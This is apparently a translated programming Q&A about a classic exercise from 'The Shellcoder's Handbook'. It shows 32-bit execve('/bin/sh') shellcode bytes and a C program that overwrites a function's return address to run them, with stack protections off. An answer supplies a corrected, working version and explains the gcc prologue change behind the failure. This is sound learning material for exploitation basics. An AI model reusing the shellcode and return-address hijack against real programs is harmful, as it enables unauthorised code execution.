简单的 shellcode 不起作用

Question

我有以下代码，它应该删除一个 shell，但是，在我运行代码之后，似乎什么都没有发生。这是我拥有的代码。这摘自 shellcoder 的手册。

`

char shellcode[] = 
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}`

我使用gcc -fno-stack-protector -z execstack shellcode.c -o shellcode编译它

当我运行它时，会发生以下情况。

预期结果如下。

这是产生上述结果的代码：

int main()
{
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = 0x0;
  execve(name[0], name, 0x0);
  exit(0);

}

我不确定为什么会这样。我在 Windows 10 上使用 Ubuntu。这可能不会影响我的结果，但我禁用了 ASLR。这可能是个问题。我还没有在虚拟机上试过这个。在我这样做之前，我想尝试弄清楚为什么这不起作用。如果不清楚，请告诉我，我很乐意澄清任何细节。

提前感谢您的所有帮助。

--更新--

我能够从我提供的 shellcode 中获得汇编指令。

有没有人发现任何会导致 shell 不被丢弃的问题？

Answer 1

在一位同事的帮助下，我们能够弄清楚为什么 shellcode 没有执行。 shellcode 很好，问题实际上是对 gcc 编译器的更新，它改变了代码执行时 prolog/epilog 的处理方式。当程序启动时，编译器生成的代码将返回地址放入堆栈，但它使用了一种新模式。执行程序不再通过将返回地址弹出到指令指针 (IP) 中来直接使用返回地址。相反，它将堆栈值弹出到%ecx，然后使用地址%ecx-4（对于32 位机器）处的内容作为返回地址。因此，即使关闭了保护措施，我试图这样做的方式也永远不会奏效。此行为仅影响 main() 而不会影响 main 调用的函数。因此，一个简单的解决方案是将 main 的内容放入另一个函数 foo() 并从 main() 调用 foo()，如下所示。

char shellcode[] = 
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
    int *ret;
    ret = (int *)&ret + 4; 
    (*ret) = (int)shellcode;
}

int main()
{
  foo();
}

这是一个与此答案相关的问题。 Understanding new gcc prologue

Answer 2

这里有几件事可能会出错：

• shell 代码地址的存储已被优化掉，因为它是从堆栈变量派生的，之后不会从堆栈中读取任何内容。
• 商店已被优化掉，因为它超出了边界。
• 从局部变量的偏移量计算错误，所以shellcode地址不会覆盖返回地址。 （这就是我编译您的示例时发生的情况。）
• 执行是重定向，但是shellcode没有运行，因为它位于不可执行的.data段中。 （不过，这会导致进程以信号终止）。